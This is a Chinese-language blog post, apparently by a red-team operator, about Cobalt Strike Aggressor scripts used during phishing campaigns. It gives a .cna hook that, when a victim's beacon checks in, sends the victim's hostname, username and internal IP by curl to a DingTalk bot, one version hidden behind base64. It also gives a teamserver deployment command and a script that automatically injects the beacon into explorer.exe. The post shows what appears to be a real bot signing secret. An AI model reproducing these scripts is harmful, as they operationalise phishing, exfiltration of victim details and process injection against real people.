因为有的时候钓鱼 不能心急 比如,你tm快点给我打开那个xxx 这是不行的 但是又不能一直盯着CS 这时候就要用到上线提醒

随便发现在windows上设置这种上线提醒的坑点

首先设置一个钉钉机器人

需要电脑客户端才能设置

image.png

image.png

image.png

发送一个curl进行测试

windows Curl 有一些坑点:

  • json不能由单引号包括起来
  • json数据里的双引号要用反斜杠\转义
  • json数据里不能带有空格
  • 如果想要在json数据里使用空格则必须用双引号将整个json数据包括起来
  • Content-type要由双引号包括起来
    1. curl "https://oapi.dingtalk.com/robot/send?access_token=35cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&timestamp=1613211530113&secret=SEC2e67120c5e4affa1177ac25fe8dc77ba1c5b49284a9dc7e1888770bc3b76b1fc" -H "Content-Type: application/json" -d "{\"msgtype\": \"text\",\"text\": {\"content\": \"CobaltStrike success\"}}"
    image.png

编写cna脚本

为了简单起见
我base64一下,因为这个命令过滤字符有点多
image.png
然后用两行代码实现效果

  1. #nihao
  2. on beacon_initial {
  3. exec(base64_decode("Y3VybCAiaHR0cHM6Ly9vYXBpLmRpbmd0YWxrLmNvbS9yb2JvdC9zZW5kP2FjY2Vzc190b2tlbj0zNxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"))
  4. }

image.png
提到即使提醒的作用即可

加强版本如下

  1. #nihao
  2. on beacon_initial {
  3. println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
  4. local('$internalIP $computerName $userName');
  5. $internalIP = replace(beacon_info($1, "internal"), " ", "_");
  6. $computerName = replace(beacon_info($1, "computer"), " ", "_");
  7. $userName = replace(beacon_info($1, "user"), " ", "_");
  8. $message = 'CobaltStrike:\n'.$teamserver_hostname.'hostname:'.$computerName.'\nUsername : '.$userName.'\nIpaddres : '.$internalIP;
  9. exec('curl "https://oapi.dingtalk.com/robot/send?access_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&timestamp=1613211530113&secret=SEC2e67120c5e4affa1177ac25fe8dc77ba1c5b49284a9dc7e1888770bc3b76b1fc" -H "Content-Type: application/json" -d "{\"msgtype\": \"text\",\"text\": {\"content\": \"'.$message.'\"}}"')
  10. }

服务器部署

  1. agscript.bat teamserverip teamserverport yanmu1 password ./1234.cna

image.png

服务器curl要是出现下面问题加上-k即可
image.png

至此windows的坑点就没了

自动迁移程序

  1. on beacon_initial
  2. {
  3. sub callback
  4. {
  5. $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
  6. $listener = "http";
  7. if ($2 ismatch $regex)
  8. {
  9. $pid = matched()[1];
  10. $inject_pid = $pid;
  11. if (-is64 $1)
  12. {
  13. $arch = "x64";
  14. }
  15. else
  16. {
  17. $arch = "x86";
  18. }
  19. binject($1, $pid, $listener, $arch);
  20. }
  21. }
  22. if($inject_pid != beacon_info($1,"pid"))
  23. {
  24. bps($1, &callback);
  25. }
  26. }